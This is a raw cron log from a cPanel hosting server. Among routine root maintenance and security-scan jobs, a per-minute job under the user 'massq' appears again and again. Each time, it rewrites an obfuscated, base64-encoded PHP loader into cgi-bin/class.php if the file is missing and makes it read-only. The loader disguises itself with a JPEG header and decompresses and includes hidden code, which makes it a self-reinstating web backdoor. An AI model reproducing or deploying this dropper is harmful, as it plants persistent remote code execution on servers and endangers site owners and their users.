Sep  1 15:12:01 server CROND[13845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:12:01 server CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:12:01 server CROND[13846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:12:01 server CROND[13847]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 15:13:01 server CROND[14245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:13:01 server CROND[14246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:13:01 server CROND[14247]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:14:01 server CROND[14636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:14:01 server CROND[14638]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:14:01 server CROND[14637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:15:01 server CROND[15025]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:15:01 server CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:15:01 server CROND[15041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:15:01 server CROND[15045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:15:01 server CROND[15050]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:15:01 server CROND[15051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:15:01 server CROND[15052]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 15:15:01 server CROND[15049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:16:01 server CROND[16004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:16:01 server CROND[16005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:16:01 server CROND[16006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:17:01 server CROND[16387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:17:01 server CROND[16388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:17:01 server CROND[16389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:18:01 server CROND[16780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:18:01 server CROND[16782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:18:01 server CROND[16783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:19:01 server CROND[17179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:19:01 server CROND[17180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:19:01 server CROND[17181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:20:01 server CROND[17577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 15:20:01 server CROND[17579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 15:20:01 server CROND[17580]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 15:20:01 server CROND[17582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 15:20:01 server CROND[17586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:20:01 server CROND[17587]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 15:20:01 server CROND[17589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:20:01 server CROND[17585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 15:20:01 server CROND[17584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:21:01 server CROND[18511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:21:01 server CROND[18513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:21:01 server CROND[18514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:22:01 server CROND[18901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:22:01 server CROND[18902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:22:01 server CROND[18903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:23:01 server CROND[19281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 15:23:01 server CROND[19282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 15:23:01 server CROND[19283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 15:24:01 server CROND[19730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
